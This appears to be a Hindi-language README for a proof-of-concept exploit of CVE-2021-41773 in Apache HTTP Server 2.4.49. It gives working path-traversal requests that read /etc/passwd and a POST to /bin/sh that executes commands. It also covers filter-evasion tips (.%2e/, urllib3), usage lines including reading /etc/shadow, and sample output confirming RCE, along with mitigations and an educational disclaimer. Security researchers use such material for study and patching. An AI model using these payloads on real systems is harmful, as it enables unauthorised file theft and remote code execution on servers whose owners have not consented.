
CVE-2021-41773 का प्रूफ ऑफ कॉन्सेप्ट
केवल नियंत्रित और अपने वातावरण में उपयोग के लिए। बिना प्राधिकरण वाले सिस्टम के विरुद्ध उपयोग न करें।
इस PoC को Apache HTTP Server 2.4.49 में मौजूद CVE-2021-41773 भेद्यता को प्रदर्शित करने और समझने के लिए विकसित किया गया है।
यह दोष ap_normalize_path() फ़ंक्शन में निहित है, जो URL-एन्कोडेड वर्णों को सही ढंग से मान्य नहीं करता था। इससे एक हमलावर एन्कोडेड वर्णों के अनुक्रम (../ के बजाय %2e%2e%2f) के माध्यम से DocumentRoot के बाहर जाकर सिस्टम की मनमानी फ़ाइलें पढ़ सकता था।
जब mod_cgi मॉड्यूल सक्षम होता था, तो यह भेद्यता RCE (रिमोट कोड एक्ज़ीक्यूशन) तक बढ़ जाती थी, जिससे Apache प्रक्रिया की अनुमतियों के साथ सर्वर पर सीधे कमांड निष्पादित किए जा सकते थे।
भेद्य होने के लिए सर्वर को सभी निम्नलिखित शर्तें पूरी करनी होंगी:
| शर्त | विवरण |
|---|---|
| Apache संस्करण | बिल्कुल 2.4.49 |
| एक्सेस निर्देश | कॉन्फ़िगरेशन में Require all granted |
| CGI मॉड्यूल | mod_cgi सक्षम (केवल RCE के लिए) |
Apache 2.4.49 क्लासिक ../ को फ़िल्टर करता था, लेकिन उसके URL-एन्कोडेड संस्करण को नहीं। हमलावर एक ऐसा पथ बनाता है जिसे फ़िल्टर पहचान नहीं पाता, लेकिन ऑपरेटिंग सिस्टम सही ढंग से व्याख्या करता है:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f, ../ का URL एन्कोडिंग है। Apache इसे पास होने देता था, OS इसे हल कर देता था, और परिणाम वेब डायरेक्ट्री के बाहर की फ़ाइलों तक पहुँच था।
mod_cgi सक्रिय होने पर, पाथ ट्रैवर्सल का उपयोग किसी फ़ाइल के बजाय /bin/sh को लक्षित करने के लिए किया जाता है। Apache इसे CGI स्क्रिप्ट मानकर निष्पादित करता है। कमांड POST के body में एक न्यूनतम shell स्क्रिप्ट के रूप में जाता है:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
कमांड का आउटपुट HTTP प्रतिक्रिया में आता है।
भेद्यता को दोहराने का सबसे साफ तरीका Docker के साथ है:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
या भेद्य कॉन्फ़िगरेशन वाली Apache 2.4.49 की मैन्युअल इमेज के साथ:
<Directory />
Require all granted
</Directory>
मैं उन कॉन्फ़िगरेशन फ़ाइलों को छोड़ रहा हूँ जिन्हें मैंने परीक्षण के लिए उपयोग किया था।
'urllib3' क्यों और 'requests' क्यों नहीं?
requests भेजने से पहले path के वर्णों को स्वचालित रूप से पुनः एन्कोड कर देता है।
यह payload को तोड़ देता है क्योंकि सर्वर को %2e के बजाय %252e प्राप्त होता है।
urllib3 path को बिना किसी संशोधन के भेजने की अनुमति देता है।
.%2e/ क्यों और %2e%2e/ क्यों नहीं?
Apache mod_rewrite मॉड्यूल में %2e%2e/ को फ़िल्टर करता है।
वेरिएंट .%2e/ शब्दार्थ रूप से समकक्ष है लेकिन फ़िल्टर से पास हो जाता है,
क्योंकि path की normalization मान्यता (validation) के बाद होती है।
mod_cgi मॉड्यूल सक्षम होना चाहिए।
इसके बिना, केवल पाथ ट्रैवर्सल ही संभव है।python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 या उच्चतर में अपडेट करें।Require all denied कॉन्फ़िगर करें।mod_cgi अक्षम करें।⚠️ यह रिपॉज़िटरी केवल शैक्षिक उद्देश्यों के लिए है।
बिना स्पष्ट प्राधिकरण वाले सिस्टम के विरुद्ध इस एक्सप्लॉइट का उपयोग अवैध है।
केवल नियंत्रित स्थानीय वातावरण में परीक्षण किया गया है।
आक्रामक सुरक्षा पोर्टफोलियो के लिए शैक्षिक उद्देश्यों से विकसित PoC।
| तर्क | आवश्यक | विवरण |
|---|
--target | हाँ | सर्वर का आधार URL (उदा: http://localhost:8080) |
--mode | हाँ | फ़ाइलें पढ़ने के लिए traversal, कमांड निष्पादित करने के लिए rce |
--cmd | नहीं | rce मोड में निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id) |